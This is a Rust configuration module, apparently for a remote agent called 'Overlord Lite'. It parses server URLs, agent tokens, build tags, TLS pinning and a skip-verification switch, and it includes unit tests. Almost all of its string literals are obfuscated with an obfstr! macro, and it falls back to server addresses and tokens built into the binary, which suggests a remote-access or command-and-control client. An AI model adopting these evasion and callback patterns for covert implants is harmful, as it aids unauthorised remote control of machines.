235 lines
7.5 KiB
Rust
235 lines
7.5 KiB
Rust
use std::{env, fmt, path::PathBuf, time::Duration};
|
|
|
|
use anyhow::{Context, Result, bail};
|
|
use base64::{Engine as _, engine::general_purpose::STANDARD};
|
|
use tokio_tungstenite::tungstenite::http::Uri;
|
|
|
|
use crate::{obfstr, protocol};
|
|
|
|
#[derive(Clone, Debug)]
|
|
pub struct Config {
|
|
pub servers: Vec<ServerUrl>,
|
|
pub agent_token: Option<String>,
|
|
pub build_tag: Option<String>,
|
|
pub insecure_tls: bool,
|
|
pub tls_spki_pins: Vec<[u8; 32]>,
|
|
pub state_dir: PathBuf,
|
|
pub reconnect_delay: Duration,
|
|
pub heartbeat_interval: Duration,
|
|
}
|
|
|
|
#[derive(Clone, Debug, Eq, PartialEq)]
|
|
pub struct ServerUrl {
|
|
normalized: String,
|
|
scheme: String,
|
|
}
|
|
|
|
impl ServerUrl {
|
|
pub fn parse(value: &str) -> Result<Self> {
|
|
parse_server_url(value)
|
|
}
|
|
|
|
pub fn as_str(&self) -> &str {
|
|
&self.normalized
|
|
}
|
|
|
|
pub fn scheme(&self) -> &str {
|
|
&self.scheme
|
|
}
|
|
}
|
|
|
|
impl fmt::Display for ServerUrl {
|
|
fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
|
|
formatter.write_str(&self.normalized)
|
|
}
|
|
}
|
|
|
|
impl Config {
|
|
pub fn from_env() -> Result<Self> {
|
|
let raw_servers = env::var(obfstr!("OVERLORD_SERVER")).unwrap_or_else(|_| {
|
|
let built_default = protocol::built_default_server();
|
|
if built_default.is_empty() {
|
|
obfstr!("wss://127.0.0.1:5173")
|
|
} else {
|
|
built_default
|
|
}
|
|
});
|
|
let servers = raw_servers
|
|
.split(',')
|
|
.map(str::trim)
|
|
.filter(|value| !value.is_empty())
|
|
.map(parse_server_url)
|
|
.collect::<Result<Vec<_>>>()?;
|
|
if servers.is_empty() {
|
|
bail!("OVERLORD_SERVER did not contain a server URL");
|
|
}
|
|
|
|
let insecure_tls = env_bool(&obfstr!("OVERLORD_TLS_INSECURE_SKIP_VERIFY"));
|
|
let raw_tls_spki_pins = env::var(obfstr!("OVERLORD_TLS_SPKI_PINS"))
|
|
.ok()
|
|
.filter(|value| !value.trim().is_empty())
|
|
.unwrap_or_else(protocol::built_default_tls_spki_pins);
|
|
let tls_spki_pins = parse_tls_spki_pins(&raw_tls_spki_pins)?;
|
|
if servers.iter().any(|url| url.scheme() == obfstr!("ws")) && !insecure_tls {
|
|
bail!("plaintext ws:// requires OVERLORD_TLS_INSECURE_SKIP_VERIFY=true");
|
|
}
|
|
|
|
Ok(Self {
|
|
servers,
|
|
agent_token: env::var(obfstr!("OVERLORD_AGENT_TOKEN"))
|
|
.ok()
|
|
.or_else(|| Some(protocol::built_default_agent_token()))
|
|
.filter(|value| !value.trim().is_empty()),
|
|
build_tag: env::var(obfstr!("OVERLORD_BUILD_TAG"))
|
|
.ok()
|
|
.or_else(|| Some(protocol::built_default_build_tag()))
|
|
.filter(|value| !value.trim().is_empty()),
|
|
insecure_tls,
|
|
tls_spki_pins,
|
|
state_dir: env::var_os(obfstr!("OVERLORD_LITE_STATE_DIR"))
|
|
.map(PathBuf::from)
|
|
.unwrap_or_else(default_state_dir),
|
|
reconnect_delay: env_duration(&obfstr!("OVERLORD_RECONNECT_DELAY_MS"), 5_000),
|
|
heartbeat_interval: env_duration(&obfstr!("OVERLORD_PING_INTERVAL_MS"), 30_000),
|
|
})
|
|
}
|
|
}
|
|
|
|
fn parse_tls_spki_pins(value: &str) -> Result<Vec<[u8; 32]>> {
|
|
value
|
|
.split(',')
|
|
.map(str::trim)
|
|
.filter(|pin| !pin.is_empty())
|
|
.map(|pin| {
|
|
let prefix = obfstr!("sha256/");
|
|
let encoded = pin.strip_prefix(&prefix).unwrap_or(pin);
|
|
let decoded = STANDARD
|
|
.decode(encoded)
|
|
.with_context(|| format!("invalid TLS SPKI pin {pin:?}"))?;
|
|
decoded
|
|
.try_into()
|
|
.map_err(|_| anyhow::anyhow!("invalid TLS SPKI pin {pin:?}: expected 32 bytes"))
|
|
})
|
|
.collect()
|
|
}
|
|
|
|
fn parse_server_url(value: &str) -> Result<ServerUrl> {
|
|
let separator = obfstr!("://");
|
|
let with_scheme = if value.contains(&separator) {
|
|
value.to_owned()
|
|
} else {
|
|
let mut server = obfstr!("wss://");
|
|
server.push_str(value);
|
|
server
|
|
};
|
|
let without_fragment = with_scheme.split('#').next().unwrap_or(&with_scheme);
|
|
let uri: Uri = without_fragment
|
|
.parse()
|
|
.with_context(|| format!("invalid server URL {value:?}"))?;
|
|
let input_scheme = uri
|
|
.scheme_str()
|
|
.ok_or_else(|| anyhow::anyhow!("server URL is missing a scheme"))?;
|
|
let scheme = if input_scheme == obfstr!("https") {
|
|
obfstr!("wss")
|
|
} else if input_scheme == obfstr!("http") {
|
|
obfstr!("ws")
|
|
} else if input_scheme == obfstr!("wss") || input_scheme == obfstr!("ws") {
|
|
input_scheme.to_owned()
|
|
} else {
|
|
bail!("unsupported server URL scheme {input_scheme:?}");
|
|
};
|
|
let authority = uri
|
|
.authority()
|
|
.ok_or_else(|| anyhow::anyhow!("server URL is missing a host"))?;
|
|
if authority.host().is_empty() || authority.as_str().contains('@') {
|
|
bail!("server URL has an invalid host");
|
|
}
|
|
Ok(ServerUrl {
|
|
normalized: format!("{scheme}://{authority}/"),
|
|
scheme,
|
|
})
|
|
}
|
|
|
|
fn env_bool(name: &str) -> bool {
|
|
env::var(name)
|
|
.map(|value| {
|
|
let normalized = value.trim().to_ascii_lowercase();
|
|
normalized == obfstr!("1")
|
|
|| normalized == obfstr!("true")
|
|
|| normalized == obfstr!("yes")
|
|
|| normalized == obfstr!("on")
|
|
})
|
|
.unwrap_or(false)
|
|
}
|
|
|
|
fn env_duration(name: &str, default_ms: u64) -> Duration {
|
|
let ms = env::var(name)
|
|
.ok()
|
|
.and_then(|value| value.trim().parse::<u64>().ok())
|
|
.unwrap_or(default_ms);
|
|
Duration::from_millis(ms)
|
|
}
|
|
|
|
fn default_state_dir() -> PathBuf {
|
|
#[cfg(target_os = "windows")]
|
|
if let Some(root) = env::var_os(obfstr!("LOCALAPPDATA")) {
|
|
return PathBuf::from(root)
|
|
.join(obfstr!("Overlord"))
|
|
.join(obfstr!("Lite"));
|
|
}
|
|
|
|
#[cfg(target_os = "macos")]
|
|
if let Some(root) = env::var_os(obfstr!("HOME")) {
|
|
return PathBuf::from(root)
|
|
.join(obfstr!("Library"))
|
|
.join(obfstr!("Application Support"))
|
|
.join(obfstr!("Overlord Lite"));
|
|
}
|
|
|
|
if let Some(root) = env::var_os(obfstr!("XDG_STATE_HOME")) {
|
|
return PathBuf::from(root).join(obfstr!("overlord-lite"));
|
|
}
|
|
if let Some(root) = env::var_os(obfstr!("HOME")) {
|
|
return PathBuf::from(root)
|
|
.join(obfstr!(".local"))
|
|
.join(obfstr!("state"))
|
|
.join(obfstr!("overlord-lite"));
|
|
}
|
|
PathBuf::from(obfstr!(".overlord-lite"))
|
|
}
|
|
|
|
#[cfg(test)]
|
|
mod tests {
|
|
use super::*;
|
|
|
|
#[test]
|
|
fn normalizes_server_urls() {
|
|
assert_eq!(
|
|
ServerUrl::parse("example.com:5173").unwrap().as_str(),
|
|
"wss://example.com:5173/"
|
|
);
|
|
assert_eq!(
|
|
ServerUrl::parse("https://example.com/base")
|
|
.unwrap()
|
|
.as_str(),
|
|
"wss://example.com/"
|
|
);
|
|
assert_eq!(
|
|
ServerUrl::parse("http://[::1]:5173/path?ignored=true#fragment")
|
|
.unwrap()
|
|
.as_str(),
|
|
"ws://[::1]:5173/"
|
|
);
|
|
assert!(ServerUrl::parse("ftp://example.com").is_err());
|
|
assert!(ServerUrl::parse("wss://user@example.com").is_err());
|
|
}
|
|
|
|
#[test]
|
|
fn parses_prefixed_and_plain_spki_pins() {
|
|
let encoded = STANDARD.encode([0x42; 32]);
|
|
let pins = parse_tls_spki_pins(&format!("sha256/{encoded},{encoded}")).unwrap();
|
|
assert_eq!(pins, vec![[0x42; 32], [0x42; 32]]);
|
|
assert!(parse_tls_spki_pins("not-a-pin").is_err());
|
|
}
|
|
}
|